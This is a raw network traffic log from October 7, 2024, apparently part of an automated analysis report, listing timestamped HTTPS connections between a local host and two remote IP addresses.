Oct 7, 2024 20:59:46.169980049 CEST	443	49815	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:46.170264006 CEST	49815	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:46.170351982 CEST	443	49815	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:46.170386076 CEST	49815	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:46.211417913 CEST	443	49815	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:46.224150896 CEST	49815	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:46.567899942 CEST	443	49815	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:46.567974091 CEST	443	49815	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:46.568173885 CEST	49815	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:46.568603992 CEST	49815	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:46.568666935 CEST	443	49815	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:46.571105957 CEST	49816	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:46.571201086 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:46.571312904 CEST	49816	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:46.571531057 CEST	49816	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:46.571566105 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.181709051 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.182092905 CEST	49816	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:47.182152987 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.182837963 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.183141947 CEST	49816	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:47.183242083 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.183269978 CEST	49816	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:47.227406979 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.229146004 CEST	49816	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:47.518553019 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.518604040 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.518640041 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.518670082 CEST	49816	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:47.518677950 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.518707037 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.518739939 CEST	49816	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:47.525242090 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.525299072 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.525322914 CEST	49816	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:47.525340080 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.525393963 CEST	49816	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:47.525408030 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.530235052 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.530296087 CEST	49816	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:47.530309916 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.537058115 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.537132978 CEST	49816	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:47.537148952 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.581154108 CEST	49816	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:47.616660118 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.619302034 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.619345903 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.619374990 CEST	49816	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:47.619411945 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.619479895 CEST	49816	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:47.624655962 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.632158041 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.632206917 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.632332087 CEST	49816	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:47.632345915 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.632406950 CEST	49816	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:47.639597893 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.645726919 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.645775080 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.645849943 CEST	49816	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:47.645864010 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.645914078 CEST	49816	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:47.650847912 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.654226065 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.654284000 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.654290915 CEST	49816	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:47.654310942 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.654361963 CEST	49816	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:47.657870054 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.662203074 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.662251949 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.662280083 CEST	49816	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:47.662292957 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.662339926 CEST	49816	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:47.666439056 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.667571068 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.667629957 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.667634964 CEST	49816	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:47.667654037 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.667696953 CEST	49816	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:47.702984095 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.703058958 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.703102112 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.703133106 CEST	49816	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:47.703155994 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.703212976 CEST	49816	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:47.703716040 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.706762075 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.706808090 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.706923962 CEST	49816	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:47.706938028 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.706991911 CEST	49816	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:47.712867022 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.719013929 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.719068050 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.719091892 CEST	49816	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:47.719105959 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.719151020 CEST	49816	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:47.725048065 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.731020927 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.731097937 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.731112957 CEST	49816	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:47.731131077 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.731184959 CEST	49816	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:47.736800909 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.743129015 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.743191004 CEST	49816	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:47.743204117 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.748661995 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.748718023 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.748720884 CEST	49816	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:47.748742104 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.748795033 CEST	49816	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:47.753628016 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.759037971 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.759099960 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.759113073 CEST	49816	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:47.759130955 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.759171963 CEST	49816	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:47.763334036 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.767873049 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.767926931 CEST	49816	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:47.767940044 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.771110058 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.771177053 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.771259069 CEST	49816	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:47.771272898 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.771321058 CEST	49816	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:47.775307894 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.778734922 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.778779984 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.778804064 CEST	49816	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:47.778817892 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.778867960 CEST	49816	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:47.783029079 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.786998987 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.787033081 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.787059069 CEST	49816	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:47.787070990 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.787127018 CEST	49816	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:47.790337086 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.793700933 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.793744087 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.793770075 CEST	49816	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:47.793782949 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.793844938 CEST	49816	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:47.795172930 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.796940088 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.796987057 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.796998978 CEST	49816	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:47.797018051 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.797061920 CEST	49816	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:47.800069094 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.802170992 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.802227020 CEST	49816	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:47.802239895 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.805025101 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.805074930 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.805099010 CEST	49816	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:47.805113077 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.805175066 CEST	49816	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:47.805186987 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.807864904 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.807923079 CEST	49816	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:47.807940006 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.810408115 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.810467005 CEST	49816	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:47.810480118 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.812932014 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.812993050 CEST	49816	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:47.813005924 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.816898108 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.816994905 CEST	49816	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:47.817008018 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.819653034 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.819717884 CEST	49816	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:47.819730043 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.821542025 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.821603060 CEST	49816	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:47.821614981 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.824446917 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.824501991 CEST	49816	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:47.824513912 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.826852083 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.826909065 CEST	49816	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:47.826920986 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.829582930 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.829643965 CEST	49816	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:47.829658031 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.831989050 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.832045078 CEST	49816	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:47.832057953 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.834996939 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.835057974 CEST	49816	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:47.835071087 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.838181019 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.838243008 CEST	49816	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:47.838254929 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.841006041 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.841063023 CEST	49816	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:47.841074944 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.844131947 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.844198942 CEST	49816	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:47.844209909 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.845774889 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.845829010 CEST	49816	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:47.845841885 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.847615957 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.847668886 CEST	49816	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:47.847681046 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.850111008 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.850162983 CEST	49816	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:47.850173950 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.852735996 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.852796078 CEST	49816	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:47.852808952 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.854953051 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.855014086 CEST	49816	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:47.855025053 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.857613087 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.857673883 CEST	49816	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:47.857687950 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.859971046 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.860033989 CEST	49816	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:47.860049009 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.861988068 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.862070084 CEST	49816	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:47.862081051 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.864609003 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.864728928 CEST	49816	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:47.864749908 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.866509914 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.866573095 CEST	49816	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:47.866590977 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.868309975 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.868366003 CEST	49816	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:47.868381023 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.871087074 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.871144056 CEST	49816	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:47.871160984 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.873068094 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.873136044 CEST	49816	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:47.873155117 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.874772072 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.874950886 CEST	49816	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:47.874965906 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.876590967 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.876646996 CEST	49816	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:47.876655102 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.876878023 CEST	49816	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:47.876928091 CEST	443	49816	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:47.876986980 CEST	49816	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:48.964961052 CEST	443	49802	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:48.965140104 CEST	443	49802	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:48.965231895 CEST	49802	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:48.966270924 CEST	49802	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:48.966312885 CEST	443	49802	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:48.968935013 CEST	49817	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:48.968997955 CEST	443	49817	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:48.969141960 CEST	49817	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:48.969387054 CEST	49817	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:48.969413042 CEST	443	49817	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:49.425581932 CEST	443	49817	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:49.426002979 CEST	49817	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:49.426064014 CEST	443	49817	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:49.426765919 CEST	443	49817	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:49.427288055 CEST	49817	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:49.427427053 CEST	49817	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:49.427548885 CEST	443	49817	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:49.480348110 CEST	49817	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:49.803599119 CEST	443	49817	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:49.803781033 CEST	443	49817	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:49.803858995 CEST	49817	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:49.804328918 CEST	49817	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:49.804363966 CEST	443	49817	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:49.804398060 CEST	49817	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:49.804440975 CEST	49817	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:49.807372093 CEST	49818	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:49.807485104 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:49.808306932 CEST	49818	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:49.813669920 CEST	49818	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:49.813750982 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:50.448210001 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:50.469470024 CEST	49818	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:50.469553947 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:50.471838951 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:50.471949100 CEST	49818	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:50.476309061 CEST	49818	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:50.476481915 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:50.476500034 CEST	49818	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:50.518187046 CEST	49818	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:50.518204927 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:50.566334963 CEST	49818	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:50.590266943 CEST	49819	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:50.590368032 CEST	443	49819	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:50.590493917 CEST	49819	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:50.592493057 CEST	49819	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:50.592530012 CEST	443	49819	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:50.798032999 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:50.798162937 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:50.798243046 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:50.798259020 CEST	49818	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:50.798293114 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:50.798386097 CEST	49818	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:50.798399925 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:50.803572893 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:50.803656101 CEST	49818	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:50.803658009 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:50.803683043 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:50.803759098 CEST	49818	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:50.803771973 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:50.810542107 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:50.814991951 CEST	49818	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:50.815007925 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:50.816625118 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:50.816698074 CEST	49818	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:50.816710949 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:50.870179892 CEST	49818	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:50.879863977 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:50.883996010 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:50.884067059 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:50.884143114 CEST	49818	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:50.884160995 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:50.884232998 CEST	49818	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:50.888567924 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:50.894335985 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:50.894404888 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:50.894428015 CEST	49818	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:50.894443035 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:50.894503117 CEST	49818	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:50.900316000 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:50.906379938 CEST	443	49818	142.250.186.36	192.168.2.16
